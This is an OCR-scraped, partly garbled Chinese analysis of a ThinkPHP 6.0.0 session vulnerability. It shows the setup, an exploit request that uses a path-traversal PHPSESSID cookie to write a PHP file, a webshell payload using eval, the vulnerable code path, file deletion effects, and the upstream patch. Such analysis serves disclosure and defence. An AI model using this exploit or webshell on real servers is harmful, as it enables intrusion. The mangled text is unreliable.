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ZEERRMRANAY ThinkPHP

fmﬂiﬁ{iﬁﬁ composer create-project topthink/think=6.0.0 tp6.0.0 |:| '{ E’JETH'Q:LE EE}J?% 6.0.2 H}izlg
A9 framework

Installing topthink/think (v6.0.0)
- Installing topthink/think (v6.0.@): Loading from cache

Created project in tp6.0.0-new

Loading composer repositories with package information

Updating dependencies (including require-dev)

Package operations: 14 installs, @ updates, @ removals
Installing psr/container (1.0.0): Loading from cache
Installing topthink/think-helper (v3.1.3): Loading from cache
Installing psr/log (1.1.2): Loading from cache
Installing psr/simple-cache (1.0.1): Loading from cache
Installing topthink/think-orm (v2.0.31): Loading from cache
Installing symfony/polyfill-php72 (v1.13.1): Loading from cache
Installing symfony/polyfill-mbstring (v1.13.1): Loading from cache
Installing symfony/var-dumper (v4.4.4): Loading from cache
Installing opis/closure (3.5.1): Loading from cache
Installing psr/cache (1.0.1): Loading from cache
Installing league/flysystem (1.0.63): Loading from cache
Installing league/flysystem-caefiéd-adapser (1.0.9): Loading from cache
Installing topthink/frameworik ()' Loading from cache
Installing topthiﬂkﬁthink—tPaCc @ul297 Loading from cache
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ﬂlxl@iﬁﬁ composer create-project topthink/framework=6.0.0 tpframework ﬁ:‘%\Tﬁ}ExFEHﬁZKEI’ﬂ
framework, BE#IERIE]

TaEFELI SSL: Handshake timed out $8iRAYATLASIHIRIEFE php.ini FEFTIZEETATE
composer config —g repo. packagist composer https://packagist. phpcomposer. com

default socket timeout = 360

2. 8

FF/= Session, fE2BRIFIENFE N SUGFBR Session #IIRIGIERE

<?php

return [

\think\middleware\SessionInit::class

15
BEX—NRRGE

public function vuln()

{
$para = Request::get('para');
Session::set('testSession', $para);

return 1;



RIELLTIER

GET /index/vuln?para=%3C?php%20phpinfo();?%3E HTTP/1.1

Host: 127.0.0.1:8000

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:72.0) Gecko/20100101 Firefox
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;gq=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=/../../../000000000000000000.php

Upgrade-Insecure-Requests: 1

BD7E web tREZR4RL 000000000000000000.php  (WIREBENPRAVE)

phpinfo() X +

< c @ © | ® 127.0.0.1:8888/000000000000000000.php @ o

Debug Build no

Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support provided by mbstring
IPv6 Support enabled
DTrace Support disabled

Registered PHP Streams
Registered Stream Socket Transports
Registered Stream Filters

https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
tep, udp, unix, udg, ssl, ssiv3, s, tlsv1.0, tisv1.1, tisv1.2

zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed,
dechunk

This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Xdebug v2.7.2, Copyright (c) 2002-2019, by Derick Rethans

zendengine

Configuration
apache2handler

Apache Version Apache

Apache API Version 20051115

Server Administrator you@example.com

Hostname:Port localhost:8888

User/Group xc(501)/-1

Max Requests Per Child: 10000 - Keep Alive: on - Max Per Connection: 100

Timeouts Connection: 300 - Keep-Alive: 5

Virtual Server

No
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3. Bth

ETEJ/ github A9 commit

v 2 Em src/think/session/Store.php Ei

@@ -118,7 +118,7 @@ public function getName(): string

*/
public function setId($id = null): void
{
- $this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
:iw $this->id = is_string($id) && strlen($id) === 32 && ctype_alnum($id) ? $id : md5(microtime(true) . session_create_id())
}
VeSS
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$0bj ect - $reflect_>ne|.r1’nr+anﬁaﬁ racldaracls
"think\middleware\SessionInit"

->invokeAfter( , $object);

return $object;
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> Store.php @ Middleware. T 9o O

vendor > topthink > framework > src > think > @ Middleware.php > 43 Middleware > & pipeline

Pipeline
pipeline( $type = 'global')

return |( Pipeline())l
—>through(array_map( ($middleware) {
return ($request, $next) ($middleware) {
list($call, $param) = s$middlew ,rray(2)
if (is_array($call) && is_stri N}
$call = [ —>app—>make( 1: "handle"

}
$response = call_user_func( , $request, $next, $param);

if (!$response instanceof Response) {
throw LogicException('The middleware must return Response instance');
}
return $response;
]
b ->sortMiddleware( ->queue[$typel ?? [1)))
—>whenException( [ , 'handleException']l);
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vendor ) topthink » framework » src > think » middleware > @ Sessionlnit.php > % Sessioninit > © handle

Request
Closure
Response

handle($request, $next)

nmnn

$varSessionId ->app->config->get('session.var_session_id');
$cookieName ->session->getName();

if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionld);

} else {
$sessionld = $request->cookie($cookieName);

if ($sessionId) {
->session->setId($sessionld);

->session->init():
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& /vendor/topthink/framework/src/think/session/Store.php, Store Z¥HIEEREI=EFE
H setld 5i%, FREIFEAMLBL, {BLLE S Store SSRIFIIALINER, FH&HE id S8UEAN

@ Store.php X @ Manager.f > < ¥ T 9O 0O

vendor » topthink > framework > src > think > session > @ Store.php > %2 Store > @ setld

setId($id = )E

—>id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime( ) . session create_id());
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getName():

return —->name;
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$name = 'PHPSESSID';
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IR[EIZE] Sessionlnit, FTLALLAMAY  scookieName AY{ET “PHPSESSID”

Request
Closure
Response

handle($request, $next)

$varse PHPSESSID" —>app—>config—>get('session.var_session_id');
$cookieName = —>session->getName();

if ($varSessionId && $request—>request($varSessionId)) {
$sessionld = $request->request($varSessionld);

} else {
$sessionld = $request->cookie($cookieName);

}
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$sessionld EATEAE setld @%ﬁﬁﬁﬁfﬂlﬁﬁ

Request
Closure
Response

handle($request, $next)

$varSessionId —>app—>config->get('session.var_session_id');

$cookieName —>session—>getName() ;

if ($varSessionId && $request—>request($varSessionId)) {

$sessionld = $request—>request($varSes-ionTdl-
} else fl "PHPSESSID"

$sessionld = $request->cookie( );

b

if ($sessionId) {
->session—->setId($sessionld);
}
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setId($id = )E

—>id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime( ) . session create_ id());
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@ Store.php X @ Arr.php T O 0O

vendor > topthink > framework > src > think > session > @ Store.php > % Store > @ save

save():

—~rlaarElachha+al .

"c465f41ee715df8c726dcc4742a6.php™
= —>getId();

if (lempty( —>data)) {
$data = ->serialize( ->data);

->handler->write($sessionId, $data);
} else {
—>handler->delete($sessionId);

}
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@ Store.php X @ Sessioninit. T 9 0

vendor > topthink > framework > src > think > session > @ Store.php > %2 Store > @ save

think\session\Store
v data:
testSession: "<7php @eval($_REQUEST[1]); 7
init:
name: "PHPSESSID"
id: "c465f4lee715df8c726dcc4742a6.php"
handler:
> serialize:

sa
—>clearFl
$sessionld =

if (tempty( —>data)) {
$data = —>serialize( —>data);

—>handler->write($sessionId, $data);
} else {
->handler—->delete($sessionId);
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write( $sessID, $sessData):

$filename —>getFileName($sessID, Nk
$data $sessData;

if | —>config['data_compress'] && function_exists('gzcompress')) {

$data = gzcompress($data, 3);

return —>writeFile($filename, $data);
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@param

@param

@return bool

protected function writeFile($path, $content): bool

Hl
return (bool) file_put_contents($path, $content, LOCK_EX);

H
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FINEN WebShell

session » sess_c465f41ee715df8c726dcc4742a6.php

o B RN N B XS YIS N A REESWA RN < 7php @eval($_REQUEST[1]); 7>k

session » I
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£ /vendor/topthink/framework/src/think/session/Store.php:254 AEEFHIAEN
delete ER#L, FAFMIBR session

public function save(): void

{
$this->clearFlashData();

$sessionld = $this->getId();

if (!empty($this->data)) {
$data = $this->serialize($this->data);

$this->handler->write($sessionId, $data);
} else {

$this->handler->delete($sessionId);
¥

$this->init = false;

XBHEBHIT TN, EaESHisEE web tRBERTEY 000000000000000000.php, ER#H
delete,
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delete( $sessID):

try [ “/../../../000000000000000000 .php"

return —>unlink( ->getFileName($sessID));
[ catch (\Exception $e) {
return q

}
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getFileName ( $name,

if | —>config['prefix']) {

$name ->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name;
} else {
$name = 'sess_' . $name;

}
"sess_/../../../000000000000000000.php"

$filename —>config['path'] . $name;
$dir dirname($filename);

if ($auto && 'is_dir(sdir)) {
try {
mkdir($dir, @755, )P
} catch (\Exception $e) {

1
}

return $filename;
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unlink( $file):

return is_file($file) && unlink($file);
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php > var_dump(is_file('/Applications/MAMP/CMS/installed/thinkphp6.0.0/runtime/s
ession/sess_/../../../000000000000000000 .php'));

bool(false)

php > var_dump(file_get_contents('/Applications/MAMP/CMS/installed/thinkphp6.0.0

/runtime/session/sess_/../../../000000000000000000.php'));
string(62) "a:1:{s:11:"testSession";s:29:"<?php @eval($_REQUEST[1]); 7>";}"
php > |
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